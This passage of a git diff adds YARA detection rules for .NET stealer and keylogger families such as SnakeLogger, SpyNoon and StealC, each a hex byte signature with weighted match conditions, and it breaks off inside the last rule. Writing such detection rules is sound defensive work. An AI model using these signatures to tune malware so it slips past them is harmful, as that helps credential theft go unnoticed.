-0,0 +1,11 @@ + +rule Trojan_BAT_SnakeLogger_ZER_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.ZER!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {02 03 04 6f ?? 00 00 0a 0a 12 01 fe ?? 11 00 00 02 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 12 01 16 7d ?? 00 00 04 07 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ZKR_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ZKR_MTB.yar new file mode 100644 index 0000000000..7902fd67d7 --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ZKR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeLogger_ZKR_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.ZKR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {02 03 04 6f ?? 00 00 0a 0a 12 01 fe ?? 1d 00 00 02 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 0e 05 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ZOQ_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ZOQ_MTB.yar new file mode 100644 index 0000000000..16a80b810a --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ZOQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_SnakeLogger_ZOQ_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.ZOQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {02 11 0d 11 1d 6f ?? 00 00 0a 13 1e 72 ?? 0a 00 70 12 1e 28 ?? 00 00 0a 8c ?? 00 00 01 12 1e 28 ?? 00 00 0a 8c ?? 00 00 01 12 1e 28 ?? 00 00 0a 8c ?? 00 00 01 28 ?? 00 00 0a 13 1f 11 1f 6f ?? 00 00 0a 1c fe 01 13 20 } //6 + $a_03_1 = {13 3a 11 3a 2c 26 00 0e 07 11 1d 91 12 1e 28 ?? 00 00 0a 61 d2 13 3b 11 3b 1f 7f 30 07 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/SpyAgent/Trojan_BAT_SpyAgent_CAZ_MTB.yar b/Trojan/BAT/SpyAgent/Trojan_BAT_SpyAgent_CAZ_MTB.yar new file mode 100644 index 0000000000..39d993244b --- /dev/null +++ b/Trojan/BAT/SpyAgent/Trojan_BAT_SpyAgent_CAZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SpyAgent_CAZ_MTB{ + meta: + description = "Trojan:BAT/SpyAgent.CAZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_03_0 = {72 2f 02 00 70 02 7b 0e 00 00 04 28 ?? ?? ?? 0a 0a 00 00 73 6d 00 00 0a 0b 00 73 6e 00 00 0a 0c 03 28 ?? ?? ?? 0a 0d 09 73 70 00 00 0a 13 04 11 04 6f ?? ?? ?? 0a 72 83 02 00 70 28 ?? ?? ?? 0a 6f ?? ?? ?? 0a 00 08 11 04 72 97 02 00 70 72 3f 00 00 70 6f ?? ?? ?? 0a 00 07 06 72 a3 02 00 70 02 7b 0f 00 00 04 28 ?? ?? ?? 0a 08 6f ?? ?? ?? 0a 6f ?? ?? ?? 0a } //3 + condition: + ((#a_03_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/SpyNoon/Trojan_BAT_SpyNoon_NS_MTB.yar b/Trojan/BAT/SpyNoon/Trojan_BAT_SpyNoon_NS_MTB.yar new file mode 100644 index 0000000000..c7cb4168cc --- /dev/null +++ b/Trojan/BAT/SpyNoon/Trojan_BAT_SpyNoon_NS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_SpyNoon_NS_MTB{ + meta: + description = "Trojan:BAT/SpyNoon.NS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {6f e7 00 00 0a 07 1f 10 8d 24 00 00 01 25 d0 0a 01 00 04 28 99 00 00 0a 6f e8 00 00 0a 06 07 6f e9 00 00 0a 17 73 6c 00 00 0a 0c 08 02 16 02 8e 69 6f ea 00 00 0a 08 6f eb 00 00 0a 06 28 bf 01 00 06 0d 09 } //3 + $a_01_1 = {55 53 42 57 61 6c 6c 65 74 2e 67 2e 72 65 73 6f 75 72 63 65 73 } //1 USBWallet.g.resources + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/SpyNoon/Trojan_BAT_SpyNoon_ZJS_MTB.yar b/Trojan/BAT/SpyNoon/Trojan_BAT_SpyNoon_ZJS_MTB.yar new file mode 100644 index 0000000000..d92a6b1f9b --- /dev/null +++ b/Trojan/BAT/SpyNoon/Trojan_BAT_SpyNoon_ZJS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SpyNoon_ZJS_MTB{ + meta: + description = "Trojan:BAT/SpyNoon.ZJS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {09 14 72 d9 3b 00 70 16 8d ?? 00 00 01 14 14 14 28 ?? 00 00 0a 28 ?? 00 00 0a 13 05 11 04 11 05 28 ?? 01 00 0a 6f ?? 01 00 0a 00 11 0c 11 0b 12 0c 28 ?? 00 00 0a 13 0e 11 0e 2d c4 11 04 6f ?? 01 00 0a 0b 2b 00 07 2a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/SpyNoon/Trojan_BAT_SpyNoon_ZTR_MTB.yar b/Trojan/BAT/SpyNoon/Trojan_BAT_SpyNoon_ZTR_MTB.yar new file mode 100644 index 0000000000..93059e097f --- /dev/null +++ b/Trojan/BAT/SpyNoon/Trojan_BAT_SpyNoon_ZTR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_SpyNoon_ZTR_MTB{ + meta: + description = "Trojan:BAT/SpyNoon.ZTR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {02 05 06 6f ?? 00 00 0a 0b 23 00 00 00 00 00 80 41 40 23 00 00 00 00 00 00 14 40 28 ?? 00 00 06 58 0c 08 23 33 33 33 33 33 33 e3 3f 5a 0d 12 01 28 ?? 00 00 0a 12 01 } //6 + $a_03_1 = {59 13 09 11 09 19 32 29 03 12 01 28 ?? 00 00 0a 6f ?? 00 00 0a 03 12 01 28 ?? 00 00 0a 6f ?? 00 00 0a 03 12 01 28 ?? 00 00 0a 6f ?? 00 00 0a 2b 3b 11 09 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AHWA_MTB.yar b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AHWA_MTB.yar new file mode 100644 index 0000000000..210436c832 --- /dev/null +++ b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AHWA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Spynoon_AHWA_MTB{ + meta: + description = "Trojan:BAT/Spynoon.AHWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {0a 13 04 73 ?? ?? 00 0a 13 05 11 04 14 fe 03 13 06 11 06 2c 56 11 04 08 6f ?? ?? 00 0a 00 11 04 08 6f ?? ?? 00 0a 00 11 04 6f ?? ?? 00 0a 13 07 00 11 05 11 07 17 73 ?? ?? 00 0a 13 08 11 08 02 16 02 8e 69 6f ?? ?? 00 0a 00 11 08 6f ?? ?? 00 0a 00 11 05 6f ?? ?? 00 0a 0d de 0e } //5 + $a_01_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AIWA_MTB.yar b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AIWA_MTB.yar new file mode 100644 index 0000000000..750e045cce --- /dev/null +++ b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AIWA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Spynoon_AIWA_MTB{ + meta: + description = "Trojan:BAT/Spynoon.AIWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 00 " + + strings : + $a_03_0 = {11 24 72 37 01 00 70 28 ?? 00 00 0a 8c ?? 00 00 01 6f ?? 00 00 0a 00 11 24 72 4b 01 00 70 72 6b 01 00 70 11 0a 1e 5d 13 2d 12 2d 28 ?? 00 00 0a 28 ?? 00 00 06 6f ?? 00 00 0a 11 3e } //5 + $a_03_1 = {01 25 16 72 c5 04 00 70 a2 25 17 12 17 28 ?? 00 00 0a a2 25 18 72 db 04 00 70 a2 25 19 12 21 28 ?? 00 00 0a a2 25 1a 72 e5 04 00 70 a2 } //2 + $a_01_2 = {01 25 16 11 25 9c 25 17 11 26 9c 25 18 11 27 9c 13 32 11 0b 20 e8 03 00 00 5d 20 e7 03 00 00 fe 01 16 fe 01 13 33 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2+(#a_01_2 & 1)*2) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AOUA_MTB.yar b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AOUA_MTB.yar new file mode 100644 index 0000000000..082b643703 --- /dev/null +++ b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AOUA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Spynoon_AOUA_MTB{ + meta: + description = "Trojan:BAT/Spynoon.AOUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {09 16 07 16 94 9e 09 17 07 17 94 9e 02 07 16 94 07 17 94 6f ?? 00 00 0a 13 06 19 8d ?? 00 00 01 13 07 11 07 16 12 06 28 ?? 00 00 0a 9c 11 07 17 12 06 28 ?? 00 00 0a 9c 11 07 18 12 06 28 ?? 00 00 0a 9c 09 18 04 03 6f ?? 00 00 0a 59 9e 09 18 94 19 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_APAB_MTB.yar b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_APAB_MTB.yar new file mode 100644 index 0000000000..73d8787c03 --- /dev/null +++ b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_APAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Spynoon_APAB_MTB{ + meta: + description = "Trojan:BAT/Spynoon.APAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 06 08 6f ?? 00 00 0a 0d 12 03 28 ?? 00 00 0a 6c 07 28 ?? 00 00 0a 5a 13 04 12 03 28 ?? 00 00 0a 6c 07 23 65 73 2d 38 52 c1 f0 3f 58 28 ?? 00 00 0a 5a 13 05 12 03 28 ?? 00 00 0a 6c 07 23 65 73 2d 38 52 c1 00 40 58 28 ?? 00 00 0a 5a 11 04 11 04 5a 23 00 00 00 00 20 c0 ef 40 5b 13 06 11 05 11 05 5a 23 00 00 00 00 20 c0 ef 40 5b 13 07 25 5a 23 00 00 00 00 20 c0 ef 40 5b } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_ASVA_MTB.yar b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_ASVA_MTB.yar new file mode 100644 index 0000000000..39ad19da4d --- /dev/null +++ b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_ASVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Spynoon_ASVA_MTB{ + meta: + description = "Trojan:BAT/Spynoon.ASVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 11 0a 11 0b 6f ?? 00 00 0a 13 0c 12 0c 28 ?? 00 00 0a 16 61 d2 13 0d 12 0c 28 ?? 00 00 0a 16 61 d2 13 0e 12 0c 28 ?? 00 00 0a 16 61 d2 13 0f 07 11 0d 6f ?? 00 00 0a 00 08 11 0e 6f ?? 00 00 0a 00 09 11 0f 6f ?? 00 00 0a 00 04 03 6f ?? 00 00 0a 59 13 10 11 10 19 fe 04 16 fe 01 13 11 11 11 2c 3a 00 07 6f ?? 00 00 0a 13 12 08 6f ?? 00 00 0a 13 13 09 6f ?? 00 00 0a 13 14 03 11 12 6f ?? 00 00 0a 00 03 11 13 6f ?? 00 00 0a 00 03 11 14 6f ?? 00 00 0a 00 00 38 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_ATAB_MTB.yar b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_ATAB_MTB.yar new file mode 100644 index 0000000000..99c75c6f22 --- /dev/null +++ b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_ATAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Spynoon_ATAB_MTB{ + meta: + description = "Trojan:BAT/Spynoon.ATAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 06 11 05 6f ?? 00 00 0a 13 06 12 06 28 ?? 00 00 0a 6c 07 28 ?? 00 00 0a 5a 13 07 12 06 28 ?? 00 00 0a 6c 07 23 65 73 2d 38 52 c1 f0 3f 58 28 ?? 00 00 0a 5a 13 08 12 06 28 ?? 00 00 0a 6c 07 23 65 73 2d 38 52 c1 00 40 58 28 ?? 00 00 0a 5a 13 09 11 07 11 07 5a 23 00 00 00 00 20 c0 ef 40 5b 13 0a 11 08 11 08 5a 23 00 00 00 00 20 c0 ef 40 5b 13 0b 11 09 11 09 5a 23 00 00 00 00 20 c0 ef 40 5b } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AVVA_MTB.yar b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AVVA_MTB.yar new file mode 100644 index 0000000000..d99fda1087 --- /dev/null +++ b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AVVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Spynoon_AVVA_MTB{ + meta: + description = "Trojan:BAT/Spynoon.AVVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {06 0a 06 02 7d ?? 00 00 04 06 03 7d ?? 00 00 04 06 04 7d ?? 00 00 04 00 16 06 7b ?? 00 00 04 6f ?? 01 00 0a 06 7b ?? 00 00 04 6f ?? 01 00 0a 5a 28 ?? 01 00 0a 0b 07 06 fe ?? ?? 00 00 06 73 ?? 01 00 0a 28 ?? 00 00 2b 06 fe ?? ?? 00 00 06 73 ?? 01 00 0a 28 ?? 00 00 2b 06 fe ?? ?? 00 00 06 73 ?? 01 00 0a 28 ?? 00 00 2b 7e ?? 00 00 04 25 2d 17 } //5 + $a_03_1 = {13 0a 2b 37 11 0a 6f ?? 01 00 0a 13 0b 00 06 7b ?? 00 00 04 6f ?? 01 00 0a 06 7b ?? 00 00 04 fe 04 16 fe 01 13 0c 11 0c 2c 02 2b 18 06 7b ?? 00 00 04 11 0b 6f ?? 01 00 0a 00 00 11 0a 6f ?? 01 00 0a 2d c0 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AXQA_MTB.yar b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AXQA_MTB.yar new file mode 100644 index 0000000000..d346b97043 --- /dev/null +++ b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AXQA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Spynoon_AXQA_MTB{ + meta: + description = "Trojan:BAT/Spynoon.AXQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 00 " + + strings : + $a_01_0 = {07 11 05 07 11 05 94 02 5a 1f 64 5d 9e } //3 + $a_01_1 = {07 11 07 07 11 07 94 03 5a 1f 64 5d 9e } //3 + $a_03_2 = {11 08 16 28 ?? ?? 00 06 13 11 11 08 17 28 ?? ?? 00 06 13 12 11 08 18 28 ?? ?? 00 06 13 13 03 } //3 + $a_01_3 = {53 74 75 64 65 6e 74 5f 48 6f 75 73 69 6e 67 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //2 Student_Housing.Properties.Resources + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_03_2 & 1)*3+(#a_01_3 & 1)*2) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AXRA_MTB.yar b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AXRA_MTB.yar new file mode 100644 index 0000000000..6d3a9c224c --- /dev/null +++ b/Trojan/BAT/SpyNoon/Trojan_BAT_Spynoon_AXRA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Spynoon_AXRA_MTB{ + meta: + description = "Trojan:BAT/Spynoon.AXRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 04 11 07 11 09 6f ?? ?? 00 0a 13 0a 11 06 11 05 6f ?? ?? 00 0a 59 13 0b 11 0b 19 32 3d 19 8d ?? 00 00 01 25 16 12 0a 28 ?? ?? 00 0a 9c 25 17 12 0a 28 ?? ?? 00 0a 9c 25 18 12 0a 28 ?? ?? 00 0a 9c 13 0c 08 } //5 + $a_03_1 = {11 05 11 0c 6f ?? ?? 00 0a 2b 48 11 0b 16 31 43 19 8d ?? 00 00 01 25 16 12 0a 28 ?? ?? 00 0a 9c 25 17 12 0a 28 ?? ?? 00 0a 9c 25 18 12 0a 28 ?? ?? 00 0a 9c } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealc/Trojan_BAT_StealC_SF_MTB.yar b/Trojan/BAT/Stealc/Trojan_BAT_StealC_SF_MTB.yar new file mode 100644 index 0000000000..9122992387 --- /dev/null +++ b/Trojan/BAT/Stealc/Trojan_BAT_StealC_SF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_StealC_SF_MTB{ + meta: + description = "Trojan:BAT/StealC.SF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {63 d1 13 10 11 1f 11 09 91 13 28 11 1f 11 09 11 28 11 27 61 11 1c 19 58 61 11 32 61 d2 9c } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ABXA_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ABXA_MTB.yar new file mode 100644 index 0000000000..cde3161acc --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ABXA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Stealer_ABXA_MTB{ + meta: + description = "Trojan:BAT/Stealer.ABXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {11 09 74 0a 00 00 1b 11 21 1f 64 5d 17 9c 11 08 74 ?? 00 00 1b 11 21 11 08 74 ?? 00 00 1b 8e 69 5d 11 21 20 00 01 00 00 5d d2 9c } //3 + $a_03_1 = {19 8d 05 00 00 01 25 16 12 2b 20 6b 01 00 00 20 43 01 00 00 28 ?? 00 00 06 9c 25 17 12 2b 20 df 03 00 00 20 f6 03 00 00 28 ?? 00 00 06 9c 25 18 12 2b 20 e7 01 00 00 20 cd 01 00 00 28 ?? 00 00 06 9c 13 43 1f 2f 13 53 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ACZA_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ACZA_MTB.yar new file mode 100644 index 0000000000..ef9f7d9b69 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ACZA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Stealer_ACZA_MTB{ + meta: + description = "Trojan:BAT/Stealer.ACZA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {0a 0c 08 28 ?? 00 00 0a 72 ?? ?? 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 09 6f ?? 00 00 0a 00 11 04 18 6f ?? 00 00 0a 00 11 04 6f ?? 00 00 0a 07 16 07 8e 69 6f ?? 00 00 0a 13 05 02 } //5 + $a_00_1 = {48 00 35 00 38 00 34 00 35 00 39 00 37 00 42 00 38 00 47 00 34 00 37 00 44 00 32 00 48 00 5a 00 43 00 35 00 4b 00 53 00 46 00 37 00 } //1 H584597B8G47D2HZC5KSF7 + condition: + ((#a_03_0 & 1)*5+(#a_00_1 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_AGWA_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_AGWA_MTB.yar new file mode 100644 index 0000000000..8a2ca8ed38 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_AGWA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_AGWA_MTB{ + meta: + description = "Trojan:BAT/Stealer.AGWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {20 c0 0f 00 00 28 ?? 00 00 0a 00 73 ?? 00 00 0a 0a 06 72 ?? 00 00 70 6f ?? 00 00 0a 0b 16 0c 2b 13 00 07 08 07 08 91 20 ?? ?? 00 00 59 d2 9c 08 17 58 0c 00 08 07 8e 69 fe 04 0d 09 2d e3 28 ?? 00 00 0a 07 6f ?? 00 00 0a 13 04 2b 00 11 04 2a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_AJXA_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_AJXA_MTB.yar new file mode 100644 index 0000000000..db742432c8 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_AJXA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Stealer_AJXA_MTB{ + meta: + description = "Trojan:BAT/Stealer.AJXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {11 03 11 02 02 11 02 91 03 11 02 11 01 5d 6f ?? 00 00 0a 61 d2 9c 20 } //4 + $a_01_1 = {11 02 17 58 13 02 20 } //2 + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ARVA_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ARVA_MTB.yar new file mode 100644 index 0000000000..f04e40d3ea --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ARVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_ARVA_MTB{ + meta: + description = "Trojan:BAT/Stealer.ARVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 0c 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 6f ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 09 17 73 ?? 00 00 0a 13 05 2b 24 2b 26 16 2b 26 8e 69 2b 25 2b 2a 2b 2c 2b 31 2b 33 2b 38 11 06 72 ?? ?? 00 70 03 28 ?? 00 00 06 17 0b de 5c 11 05 2b d8 06 2b d7 06 2b d7 6f ?? 00 00 0a 2b d4 11 05 2b d2 6f ?? 00 00 0a 2b cd 11 04 2b cb 6f ?? 00 00 0a 2b c6 13 06 2b c4 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ATVA_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ATVA_MTB.yar new file mode 100644 index 0000000000..6205065795 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ATVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_ATVA_MTB{ + meta: + description = "Trojan:BAT/Stealer.ATVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {04 08 16 07 16 1f 10 28 ?? 01 00 06 7e ?? 01 00 04 08 16 07 1f 0f 1f 10 28 ?? 01 00 06 7e ?? 01 00 04 06 07 28 ?? 01 00 06 7e ?? 01 00 04 06 18 28 ?? 01 00 06 7e ?? 01 00 04 06 28 ?? 01 00 06 0d 7e ?? 01 00 04 09 02 16 02 8e 69 28 ?? 01 00 06 2a 73 7d } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_AVWA_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_AVWA_MTB.yar new file mode 100644 index 0000000000..cfd715b001 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_AVWA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Stealer_AVWA_MTB{ + meta: + description = "Trojan:BAT/Stealer.AVWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 04 11 03 11 00 11 03 91 11 01 11 03 11 01 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 9c 20 } //5 + $a_01_1 = {11 00 8e 69 8d 03 00 00 01 13 04 20 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_AXAB_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_AXAB_MTB.yar new file mode 100644 index 0000000000..1a10d7c0e7 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_AXAB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Stealer_AXAB_MTB{ + meta: + description = "Trojan:BAT/Stealer.AXAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {02 06 11 04 6f ?? 00 00 0a 13 05 23 00 00 00 00 00 00 f0 3f 11 04 6c 23 18 2d 44 54 fb 21 09 40 5a 18 02 6f ?? 00 00 0a 5a 6c 5b 28 ?? 00 00 0a 5b 13 06 23 0a d7 a3 70 3d 0a b7 3f 11 06 23 00 00 00 00 00 00 fc 3f 28 ?? 00 00 0a 5a 05 7b ?? 02 00 04 23 71 3d 0a d7 a3 70 e5 bf 28 ?? 00 00 0a 5a 13 07 23 00 00 00 00 00 00 04 c0 12 05 28 ?? 00 00 0a 6c } //4 + $a_03_1 = {23 00 00 00 00 00 e0 6f 40 5b 23 bb bd d7 d9 df 7c db 3d 58 28 ?? 00 00 0a 5a 0e 04 7b ?? 02 00 04 58 13 08 23 00 00 00 00 00 00 04 c0 12 05 28 ?? 00 00 0a 6c 23 00 00 00 00 00 e0 6f 40 5b 23 bb bd d7 d9 df 7c db 3d 58 28 ?? 00 00 0a 5a 0e 04 7b ?? 02 00 04 58 13 09 23 00 00 00 00 00 00 04 c0 12 05 28 ?? 00 00 0a 6c 23 00 00 00 00 00 e0 6f 40 5b 23 bb bd d7 d9 df 7c db 3d 58 28 ?? 00 00 0a 5a 0e 04 7b ?? 02 00 04 58 } //2 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*2) 